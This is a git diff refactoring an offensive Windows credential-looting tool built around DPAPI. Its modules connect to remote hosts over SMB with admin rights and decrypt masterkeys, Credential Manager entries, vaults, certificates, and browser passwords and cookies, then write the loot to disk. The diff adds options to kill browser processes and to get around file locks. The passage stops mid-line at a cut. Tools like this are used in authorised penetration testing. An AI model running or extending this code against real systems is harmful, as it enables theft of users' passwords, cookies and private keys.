dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + if self.options.kill_browser: + logging.info("Killing browsers") + for browser_process_name in ["chrome.exe", "msedge.exe", "brave.exe"]: + self.conn.perform_taskkill(process_name=browser_process_name) + + def secret_callback(secret): + if not self.options.show_cookies and isinstance(secret, Cookie): + return if self.options.quiet: - credential.dump_quiet() + secret.dump_quiet() else: - credential.dump() - if self.options.show_cookies: - for cookie in cookies: - if self.options.quiet: - cookie.dump_quiet() - cookie.dump() + secret.dump() + + triage = BrowserTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_secret_callback=secret_callback, + ) + logging.info( + "Triage Browser Credentials%sfor ALL USERS\n" + % (" and Cookies " if self.options.show_cookies else " ") + ) + triage.triage_browsers( + gather_cookies=self.options.show_cookies, + bypass_shared_violation=self.options.bypass_shared_violation, + ) if self.outputdir is not None: - for filename, bytes in triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) + dump_looted_files_to_disk(self.outputdir, triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -85,22 +120,24 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = BrowserAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump users credentials and cookies saved in browser from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, + help="Dump users credentials and cookies saved in browser from local or remote target", + ) group = subparser.add_argument_group("credentials options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) add_masterkeys_argument_group(group) @@ -108,20 +145,23 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable group.add_argument( "-show-cookies", action="store_true", - help=( - "Output dumped cookies from browsers" - ) + help=("Output dumped cookies from browsers"), ) group.add_argument( - "-export-browser", - action="store", - metavar="DIR_BROWSER", + "-bypass-shared-violation", + action="store_true", + help=("Will try to bypass Shared Violation Error with a silly esentutl trick"), + ) + + group.add_argument( + "-kill-browser", + action="store_true", help=( - "Dump looted Browser data blobs to specified directory, regardless they were decrypted" - ) + "Will try to kill browser's process. Usefull when Shared Violation Error" + ), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/certificates.py b/dploot/action/certificates.py index 25f1fc0..e4a57df 100755 --- a/dploot/action/certificates.py +++ b/dploot/action/certificates.py @@ -1,24 +1,26 @@ import argparse import logging -import os import sys from typing import Callable, Tuple -from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options +from dploot.action.masterkeys import ( + add_masterkeys_argument_group, + parse_masterkeys_options, +) from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.certificates import CertificatesTriage from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -NAME = 'certificates' +NAME = "certificates" -class CertificatesAction: +class CertificatesAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self.outputdir = None @@ -27,7 +29,7 @@ def __init__(self, options: argparse.Namespace) -> None: self.passwords = None self.nthashes = None - self.outputdir = handle_outputdir_option(dir= self.options.export_certificates) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -36,7 +38,9 @@ def __init__(self, options: argparse.Namespace) -> None: logging.error(str(e)) sys.exit(1) - self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target) + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) def connect(self) -> None: self.conn = DPLootSMBConnection(self.target) @@ -46,35 +50,59 @@ def connect(self) -> None: def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage ALL USERS masterkeys\n") self.masterkeys = masterkeytriage.triage_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - triage = CertificatesTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage Certificates for ALL USERS\n') - certificates = triage.triage_certificates() - for certificate in certificates: + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def certificate_callback(certificate): if not self.options.dump_all and not certificate.clientauth: - continue + return if not self.options.quiet: certificate.dump() - filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16]) + filename = f"{certificate.username}_{certificate.filename[:16]}.pfx" logging.critical("Writting certificate to %s" % filename) if not self.options.quiet: - print() # better outputing + print() # better outputing with open(filename, "wb") as f: f.write(certificate.pfx) + + triage = CertificatesTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_certificate_callback=certificate_callback, + ) + logging.info("Triage Certificates for ALL USERS\n") + triage.triage_certificates() if self.outputdir is not None: - for filename, bytes in triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) + dump_looted_files_to_disk(self.outputdir, triage.looted_files) + else: logging.info("Not an admin, exiting...") @@ -86,22 +114,23 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = CertificatesAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump users certificates from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump users certificates from local or remote target" + ) group = subparser.add_argument_group("certificates options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) add_masterkeys_argument_group(group) @@ -109,20 +138,9 @@ def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable group.add_argument( "-dump-all", action="store_true", - help=( - "Dump also certificates not used for client authentication" - ) - ) - - group.add_argument( - "-export-certificates", - action="store", - metavar="DIR_CERTIFICATES", - help=( - "Dump looted certificates to specified directory, regardless they were decrypted" - ) + help=("Dump also certificates not used for client authentication"), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/credentials.py b/dploot/action/credentials.py index ed4b596..f72f0b6 100755 --- a/dploot/action/credentials.py +++ b/dploot/action/credentials.py @@ -1,24 +1,26 @@ import argparse import logging -import os import sys from typing import Callable, Tuple -from dploot.action.masterkeys import add_masterkeys_argument_group, parse_masterkeys_options +from dploot.action.masterkeys import ( + add_masterkeys_argument_group, + parse_masterkeys_options, +) from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.credentials import CredentialsTriage from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -NAME = 'credentials' +NAME = "credentials" -class CredentialsAction: +class CredentialsAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self.outputdir = None @@ -27,7 +29,7 @@ def __init__(self, options: argparse.Namespace) -> None: self.passwords = None self.nthashes = None - self.outputdir = handle_outputdir_option(dir= self.options.export_cm) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -36,7 +38,9 @@ def __init__(self, options: argparse.Namespace) -> None: logging.error(str(e)) sys.exit(1) - self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options(self.options, self.target) + self.pvkbytes, self.passwords, self.nthashes = parse_masterkeys_options( + self.options, self.target + ) def connect(self) -> None: self.conn = DPLootSMBConnection(self.target) @@ -46,29 +50,52 @@ def connect(self) -> None: def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - masterkeytriage = MasterkeysTriage(target=self.target, conn=self.conn, pvkbytes=self.pvkbytes, nthashes=self.nthashes, passwords=self.passwords) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + pvkbytes=self.pvkbytes, + nthashes=self.nthashes, + passwords=self.passwords, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage ALL USERS masterkeys\n") self.masterkeys = masterkeytriage.triage_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage Credentials for ALL USERS\n') - credentials = triage.triage_credentials() - for credential in credentials: + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def credential_callback(credential): if self.options.quiet: credential.dump_quiet() else: credential.dump() + + triage = CredentialsTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_credential_callback=credential_callback, + ) + logging.info("Triage Credentials for ALL USERS\n") + triage.triage_credentials() if self.outputdir is not None: - for filename, bytes in triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) + dump_looted_files_to_disk(self.outputdir, triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -80,35 +107,26 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = CredentialsAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump users Credential Manager blob from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump users Credential Manager blob from local or remote target" + ) group = subparser.add_argument_group("credentials options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) add_masterkeys_argument_group(group) - - group.add_argument( - "-export-cm", - action="store", - metavar="DIR_CREDMAN", - help=( - "Dump looted Credential Manager blob to specified directory, regardless they were decrypted" - ) - ) - add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/machinecertificates.py b/dploot/action/machinecertificates.py index 9f7d170..636aae0 100755 --- a/dploot/action/machinecertificates.py +++ b/dploot/action/machinecertificates.py @@ -1,20 +1,19 @@ import argparse import logging -import os import sys from typing import Callable, Tuple from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.certificates import CertificatesTriage from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -NAME = 'machinecertificates' +NAME = "machinecertificates" -class MachineCertificatesAction: +class MachineCertificatesAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options @@ -25,7 +24,7 @@ def __init__(self, options: argparse.Namespace) -> None: self.masterkeys = None self.outputdir = None - self.outputdir = handle_outputdir_option(dir= self.options.export_certificates) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -39,37 +38,57 @@ def connect(self) -> None: if self.conn.connect() is None: logging.error("Could not connect to %s" % self.target.address) sys.exit(1) - + def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - triage = MasterkeysTriage(target=self.target, conn=self.conn) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage SYSTEM masterkeys\n") - self.masterkeys = triage.triage_system_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - certificate_triage = CertificatesTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage SYSTEM Certificates\n') - certificates = certificate_triage.triage_system_certificates() - for certificate in certificates: + self.masterkeys = masterkeytriage.triage_system_masterkeys() + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def certificate_callback(certificate): if not self.options.dump_all and not certificate.clientauth: - continue + return if not self.options.quiet: certificate.dump() - filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16]) + filename = f"{certificate.username}_{certificate.filename[:16]}.pfx" logging.critical("Writting certificate to %s" % filename) with open(filename, "wb") as f: f.write(certificate.pfx) + + certificate_triage = CertificatesTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_certificate_callback=certificate_callback, + ) + logging.info("Triage SYSTEM Certificates\n") + certificate_triage.triage_system_certificates() if self.outputdir is not None: - for filename, bytes in certificate_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - + dump_looted_files_to_disk(self.outputdir, certificate_triage.looted_files) + else: logging.info("Not an admin, exiting...") @@ -81,49 +100,37 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = MachineCertificatesAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump system certificates from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump system certificates from local or remote target" + ) group = subparser.add_argument_group("machinecertificates options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) group.add_argument( "-outputfile", action="store", - help=( - "Export keys to file" - ), + help=("Export keys to file"), ) group.add_argument( "-dump-all", action="store_true", - help=( - "Dump also certificates not used for client authentication" - ) - ) - - group.add_argument( - "-export-certificates", - action="store", - metavar="DIR_CERTIFICATES", - help=( - "Dump looted Certificates and PKI blob to specified directory, regardless they were decrypted" - ) + help=("Dump also certificates not used for client authentication"), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/machinecredentials.py b/dploot/action/machinecredentials.py index 7e20df8..bdca296 100755 --- a/dploot/action/machinecredentials.py +++ b/dploot/action/machinecredentials.py @@ -1,20 +1,19 @@ import argparse import logging -import os import sys from typing import Callable, Tuple from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.credentials import CredentialsTriage from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -NAME = 'machinecredentials' +NAME = "machinecredentials" -class MachineCredentialsAction: +class MachineCredentialsAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options @@ -25,7 +24,7 @@ def __init__(self, options: argparse.Namespace) -> None: self.masterkeys = None self.outputdir = None - self.outputdir = handle_outputdir_option(dir= self.options.export_cm) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -39,33 +38,53 @@ def connect(self) -> None: if self.conn.connect() is None: logging.error("Could not connect to %s" % self.target.address) sys.exit(1) - + def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: if self.masterkeys is None: - triage = MasterkeysTriage(target=self.target, conn=self.conn) + + def masterkey_triage(masterkey): + masterkey.dump() + + masterkeytriage = MasterkeysTriage( + target=self.target, + conn=self.conn, + per_masterkey_callback=masterkey_triage + if not self.options.quiet + else None, + ) logging.info("Triage SYSTEM masterkeys\n") - self.masterkeys = triage.triage_system_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() - - cred_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage SYSTEM Credentials\n') - credentials = cred_triage.triage_system_credentials() - for credential in credentials: + self.masterkeys = masterkeytriage.triage_system_masterkeys() + print() + if self.outputdir is not None: + dump_looted_files_to_disk(self.outputdir, masterkeytriage.looted_files) + + def credential_callback(credential): if self.options.quiet: credential.dump_quiet() else: credential.dump() + + cred_triage = CredentialsTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_credential_callback=credential_callback, + ) + logging.info("Triage SYSTEM Credentials\n") + cred_triage.triage_system_credentials() if self.outputdir is not None: - for filename, bytes in cred_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - + dump_looted_files_to_disk(self.outputdir, cred_triage.looted_files) + else: logging.info("Not an admin, exiting...") @@ -77,41 +96,25 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = MachineCredentialsAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump system credentials from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump system credentials from local or remote target" + ) group = subparser.add_argument_group("machinecredentials options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), - ) - - group.add_argument( - "-outputfile", - action="store", - help=( - "Export keys to file" - ), - ) - - group.add_argument( - "-export-cm", - action="store", - metavar="DIR_CREDMAN", - help=( - "Dump looted Credential Manager blob to specified directory, regardless they were decrypted" - ) + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/machinemasterkeys.py b/dploot/action/machinemasterkeys.py index 19e1b6c..0ba80a9 100755 --- a/dploot/action/machinemasterkeys.py +++ b/dploot/action/machinemasterkeys.py @@ -1,19 +1,19 @@ import argparse +from binascii import unhexlify import logging -import os import sys from typing import Callable, Tuple from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.masterkeys import MasterkeysTriage -NAME = 'machinemasterkeys' +NAME = "machinemasterkeys" -class MachineMasterkeysAction: +class MachineMasterkeysAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options @@ -22,12 +22,16 @@ def __init__(self, options: argparse.Namespace) -> None: self.conn = None self._is_admin = None self.outputfile = None - self.append = self.options.append self.outputdir = None + + self.dpapi_system_key = {} + if self.options.dpapi_system_key is not None and self.options.dpapi_system_key != "": + correl_table = {"dpapi_machinekey":"MachineKey","dpapi_userkey":"UserKey"} + self.dpapi_system_key = {correl_table[k] :unhexlify(v[2:]) for k, v in (elem.split(":") for elem in options.dpapi_system_key.split(","))} - self.outputdir = handle_outputdir_option(dir= self.options.export_mk) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) - if self.options.outputfile is not None and self.options.outputfile != '': + if self.options.outputfile is not None and self.options.outputfile != "": self.outputfile = self.options.outputfile def connect(self) -> None: @@ -35,28 +39,42 @@ def connect(self) -> None: if self.conn.connect() is None: logging.error("Could not connect to %s" % self.target.address) sys.exit(1) - + def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) if self.is_admin: - triage = MasterkeysTriage(target=self.target, conn=self.conn) + fd = ( + open(self.outputfile + ".mkf", "a+") + if self.outputfile is not None + else None + ) + + def masterkey_callback(masterkey): + masterkey.dump() + if fd is not None: + fd.write(str(masterkey) + "\n") + + triage = MasterkeysTriage( + target=self.target, + conn=self.conn, + per_masterkey_callback=masterkey_callback, + dpapiSystem=self.dpapi_system_key + ) logging.info("Triage SYSTEM masterkeys\n") - masterkeys = triage.triage_system_masterkeys() + triage.triage_system_masterkeys() if self.outputfile is not None: - with open(self.outputfile + '.mkf', ('a+' if self.append else 'w')) as file: - logging.critical("Writting masterkeys to %s" % self.outputfile) - for masterkey in masterkeys: - masterkey.dump() - file.write(str(masterkey)+'\n') - else: - for masterkey in masterkeys: - masterkey.dump() + logging.critical("Writting masterkeys to %s.mkf" % self.outputfile) + fd.close() if self.outputdir is not None: - for filename, bytes in triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - + dump_looted_files_to_disk(self.outputdir, triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -68,41 +86,32 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = MachineMasterkeysAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Dump system masterkey from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, help="Dump system masterkey from local or remote target" + ) group = subparser.add_argument_group("machinemasterkeys options") group.add_argument( "-outputfile", action="store", - help=( - "Export keys to file" - ), - ) - - group.add_argument( - "-append", - action="store_true", - help=( - "Appends keys to file specified with -outputfile" - ), + help=("Export keys to file"), ) group.add_argument( - "-export-mk", + "-dpapi-system-key", action="store", - metavar="DIR_MASTERKEYS", - help=( - "Dump looted masterkey files to specified directory, regardless they were decrypted" - ) + metavar="dpapi_machinekey:0x0123456789abcdef0123456789abcdef01234567,dpapi_userkey:0x0123456789abcdef0123456789abcdef01234567", + help=("Use custom DPAPI SYSTEM keys"), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/machinetriage.py b/dploot/action/machinetriage.py index 29dee53..fe43b4d 100755 --- a/dploot/action/machinetriage.py +++ b/dploot/action/machinetriage.py @@ -1,35 +1,31 @@ import argparse import logging -import os import sys from typing import Callable, Tuple from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from dploot.triage.certificates import CertificatesTriage from dploot.triage.credentials import CredentialsTriage from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file from dploot.triage.vaults import VaultsTriage -NAME = 'machinetriage' +NAME = "machinetriage" -class MachineTriageAction: +class MachineTriageAction: def __init__(self, options: argparse.Namespace) -> None: self.options = options self.target = Target.from_options(options) - + self.conn = None self._is_admin = None self.outputdir = None self.masterkeys = None self.pvkbytes = None - self.outputdir = handle_outputdir_option(dir= self.options.export_triage) - if self.outputdir is not None: - for tmp in ['certificates', 'credentials', 'vaults', 'masterkeys']: - os.makedirs(os.path.join(self.outputdir, tmp), 0o744, exist_ok=True) + self.outputdir = handle_outputdir_option(directory=self.options.export_dir) if self.options.mkfile is not None: try: @@ -46,61 +42,80 @@ def connect(self) -> None: def run(self) -> None: self.connect() - logging.info("Connected to %s as %s\\%s %s\n" % (self.target.address, self.target.domain, self.target.username, ( "(admin)"if self.is_admin else ""))) - + logging.info( + "Connected to {} as {}\\{} {}\n".format( + self.target.address, + self.target.domain, + self.target.username, + ("(admin)" if self.is_admin else ""), + ) + ) + if self.is_admin: if self.masterkeys is None: - masterkeys_triage = MasterkeysTriage(target=self.target, conn=self.conn) + + def masterkey_callback(masterkey): + masterkey.dump() + + masterkeys_triage = MasterkeysTriage( + target=self.target, + conn=self.conn, + per_masterkey_callback=masterkey_callback, + ) logging.info("Triage SYSTEM masterkeys\n") self.masterkeys = masterkeys_triage.triage_system_masterkeys() - if not self.options.quiet: - for masterkey in self.masterkeys: - masterkey.dump() - print() + print() if self.outputdir is not None: - for filename, bytes in masterkeys_triage.looted_files.items(): - with open(os.path.join(self.outputdir, 'masterkeys', filename),'wb') as outputfile: - outputfile.write(bytes) - - credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage SYSTEM Credentials\n') - credentials = credentials_triage.triage_system_credentials() - for credential in credentials: + dump_looted_files_to_disk(self.outputdir, masterkeys_triage.looted_files) + + def credential_callback(credential): if self.options.quiet: credential.dump_quiet() else: credential.dump() + + credentials_triage = CredentialsTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_credential_callback=credential_callback, + ) + logging.info("Triage SYSTEM Credentials\n") + credentials_triage.triage_system_credentials() if self.outputdir is not None: - for filename, bytes in credentials_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - - vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage SYSTEM Vaults\n') - vaults = vaults_triage.triage_system_vaults() - for vault in vaults: - vault.dump() + dump_looted_files_to_disk(self.outputdir, credentials_triage.looted_files) + + vaults_triage = VaultsTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_vault_callback=credential_callback, + ) + logging.info("Triage SYSTEM Vaults\n") + vaults_triage.triage_system_vaults() if self.outputdir is not None: - for filename, bytes in vaults_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) - - certificate_triage = CertificatesTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - logging.info('Triage SYSTEM Certificates\n') - certificates = certificate_triage.triage_system_certificates() - for certificate in certificates: - if self.options.dump_all and not certificate.clientauth: - continue + dump_looted_files_to_disk(self.outputdir, vaults_triage.looted_files) + + def certificate_callback(certificate): + if not self.options.dump_all and not certificate.clientauth: + return if not self.options.quiet: certificate.dump() - filename = "%s_%s.pfx" % (certificate.username,certificate.filename[:16]) + filename = f"{certificate.username}_{certificate.filename[:16]}.pfx" logging.critical("Writting certificate to %s" % filename) with open(filename, "wb") as f: f.write(certificate.pfx) + + certificate_triage = CertificatesTriage( + target=self.target, + conn=self.conn, + masterkeys=self.masterkeys, + per_certificate_callback=certificate_callback, + ) + logging.info("Triage SYSTEM Certificates\n") + certificate_triage.triage_system_certificates() if self.outputdir is not None: - for filename, bytes in certificate_triage.looted_files.items(): - with open(os.path.join(self.outputdir, filename),'wb') as outputfile: - outputfile.write(bytes) + dump_looted_files_to_disk(self.outputdir, certificate_triage.looted_files) else: logging.info("Not an admin, exiting...") @@ -112,41 +127,32 @@ def is_admin(self) -> bool: self._is_admin = self.conn.is_admin() return self._is_admin + def entry(options: argparse.Namespace) -> None: a = MachineTriageAction(options) a.run() -def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: - subparser = subparsers.add_parser(NAME, help="Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from remote target") +def add_subparser(subparsers: argparse._SubParsersAction) -> Tuple[str, Callable]: + subparser = subparsers.add_parser( + NAME, + help="Loot SYSTEM Masterkeys (if not set), SYSTEM credentials, SYSTEM certificates and SYSTEM vaults from local or remote target", + ) group = subparser.add_argument_group("machinetriage options") group.add_argument( "-mkfile", action="store", - help=( - "File containing {GUID}:SHA1 masterkeys mappings" - ), + help=("File containing {GUID}:SHA1 masterkeys mappings"), ) group.add_argument( "-dump-all", action="store_true", - help=( - "Dump also certificates not used for client authentication" - ) - ) - - group.add_argument( - "-export-triage", - action="store", - metavar="DIR_TRIAGE", - help=( - "Dump looted blob to specified directory, regardless they were decrypted" - ) + help=("Dump also certificates not used for client authentication"), ) add_target_argument_group(subparser) - return NAME, entry \ No newline at end of file + return NAME, entry diff --git a/dploot/action/machinevaults.py b/dploot/action/machinevaults.py index 9786927..a5acdb6 100755 --- a/dploot/action/machinevaults.py +++ b/dploot/action/machinevaults.py @@ -1,21 +1,20 @@ import argparse import logging -import os import sys from typing import Callable, Tuple from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target, add_target_argument_group -from dploot.lib.utils import handle_outputdir_option +from dploot.lib.utils import dump_looted_files_to_disk, handle_outputdir_option from 